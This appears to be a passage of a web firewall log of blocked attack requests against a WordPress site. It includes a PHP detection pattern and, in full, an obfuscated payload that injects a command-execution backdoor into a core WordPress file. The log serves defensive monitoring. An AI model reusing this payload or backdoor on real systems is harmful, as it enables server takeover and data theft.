%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:51:14","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7177\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nzd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:51:19","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:7200\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20